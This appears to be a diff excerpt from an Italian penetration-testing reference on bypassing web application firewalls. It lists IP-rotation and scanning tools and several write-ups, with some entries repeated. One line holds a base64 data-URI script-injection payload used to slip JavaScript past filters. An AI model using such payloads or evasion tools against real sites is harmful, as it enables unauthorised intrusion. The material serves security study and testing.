- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Plugin di Burp Suite che utilizza IP di gateway API
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Un numero determinato dinamicamente di istanze di container vengono attivate in base alla dimensione del file di input e al fattore di suddivisione, con l'input suddiviso in blocchi per l'esecuzione parallela, come 100 istanze che elaborano 100 blocchi da un file di input di 10.000 righe con un fattore di suddivisione di 100 righe.
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Plugin di Burp Suite che utilizza gli IP del gateway API
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Un numero dinamicamente determinato di istanze di container viene attivato in base alla dimensione del file di input e al fattore di suddivisione, con l'input suddiviso in blocchi per l'esecuzione parallela, come 100 istanze che elaborano 100 blocchi da un file di input di 10.000 righe con un fattore di suddivisione di 100 righe.
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
### Regex Bypasses
@ -209,6 +226,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
- [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
- [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
- [Come ho trovato un takeover dell'account a 0 clic in un BBP pubblico e l'ho sfruttato per accedere a funzionalità di livello Admin](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
{{#include ../banners/hacktricks-training.md}}